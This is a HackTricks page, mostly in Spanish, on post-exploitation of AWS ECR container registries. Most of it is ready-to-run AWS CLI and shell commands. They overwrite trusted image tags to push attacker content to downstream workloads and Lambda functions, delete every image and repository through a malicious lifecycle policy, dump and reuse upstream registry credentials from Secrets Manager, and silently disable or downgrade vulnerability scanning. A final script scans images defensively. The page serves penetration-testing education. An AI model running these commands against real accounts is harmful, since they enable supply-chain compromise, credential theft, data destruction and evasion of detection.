AWS - ECR Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

ECR

Para más información consulta

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Después de descargar las imágenes deberías revisarlas en busca de información sensible:

Docker Forensics - HackTricks

Sobrescribir una etiqueta de confianza vía ecr:PutImage (Tag Hijacking / Supply Chain)

Si los consumidores despliegan por etiqueta (por ejemplo stable, prod, latest) y las etiquetas son mutables, ecr:PutImage puede usarse para reapuntar una etiqueta de confianza hacia contenido controlado por el atacante subiendo un manifiesto de imagen bajo esa etiqueta.

Un enfoque común es copiar el manifiesto de una etiqueta controlada por el atacante existente (o digest) y sobrescribir la etiqueta de confianza con él.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

Impact: cualquier workload que descargue .../$REPO:$DST_TAG recibirá contenido seleccionado por el atacante sin ningún cambio en IaC, Kubernetes manifests, o task definitions.

Ejemplo de consumidor aguas abajo: imágenes de contenedores de Lambda que se actualizan automáticamente al cambiar etiquetas

Si una función Lambda está desplegada como una container image (PackageType=Image) y usa una ECR tag (p. ej., :stable, :prod) en lugar de un digest, sobrescribir esa tag puede convertir la manipulación de la cadena de suministro en ejecución de código dentro del rol de ejecución de Lambda una vez que la función se actualice.

Cómo enumerar esta situación:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

Cómo suele ocurrir la actualización:

  • CI/CD o GitOps llaman regularmente a lambda:UpdateFunctionCode (incluso con el mismo ImageUri) para forzar a Lambda a resolver de nuevo la etiqueta.
  • La automatización orientada a eventos escucha eventos de imagen de ECR (push/actualizaciones de etiquetas) y activa un Lambda/automatización de refresco.

Si puedes sobrescribir la etiqueta confiable y existe un mecanismo de refresco, la siguiente invocación de la función ejecutará código controlado por el atacante, que podrá entonces leer variables de entorno, acceder a recursos de la red y llamar a las APIs de AWS usando el rol de Lambda (por ejemplo, secretsmanager:GetSecretValue).

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Un atacante con cualquiera de estos permisos puede crear o modificar una política de ciclo de vida para eliminar todas las imágenes del repositorio y luego eliminar por completo el repositorio ECR. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate credenciales de registros upstream desde ECR Pull‑Through Cache (PTC)

Si ECR Pull‑Through Cache está configurado para registros upstream autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: ecr-pullthroughcache/. Los operadores a veces conceden a los administradores de ECR un amplio acceso de lectura a Secrets Manager, lo que permite credential exfiltration y reutilización fuera de AWS.

Requisitos

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Enumerar secretos PTC candidatos

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Volcar secretos descubiertos y analizar campos comunes

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Opcional: validar leaked creds contra el upstream (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impacto

  • Leer estas entradas de Secrets Manager proporciona credenciales reutilizables del registro upstream (usuario/contraseña o token), que pueden ser abusadas fuera de AWS para descargar imágenes privadas o acceder a repositorios adicionales según los permisos upstream.

Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

Un atacante con permisos de ECR a nivel de registro puede reducir o desactivar silenciosamente el escaneo automático de vulnerabilidades para TODOS los repositorios configurando la configuración de escaneo del registro a BASIC sin ninguna regla de scan-on-push. Esto impide que los nuevos envíos de imágenes sean escaneados automáticamente, ocultando imágenes vulnerables o maliciosas.

Requisitos

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (opcional, por repositorio)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verificación)

Degradación a nivel de registro a manual (sin escaneos automáticos)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Probar con un repo e imagen

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Opcional: degradar aún más a nivel del repo

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Impacto

  • Nuevos pushes de imágenes a través del registry no se scanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un scan manual.

Registry‑wide scanning engine downgrade via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Reduce la calidad de detección de vulnerabilidades en todo el registry al cambiar el BASIC scan engine del valor por defecto AWS_NATIVE al engine legacy CLAIR. Esto no deshabilita el scanning pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una BASIC registry scanning configuration sin reglas para que los scans sean manual-only.

Requisitos

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Opcional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Impacto

  • La configuración del registry BASIC_SCAN_TYPE_VERSION se establece en CLAIR, por lo que los scans BASIC subsecuentes se ejecutan con el engine degradado. CloudTrail registra la llamada API PutAccountSetting.

Pasos

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

Escanear imágenes ECR en busca de vulnerabilidades

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks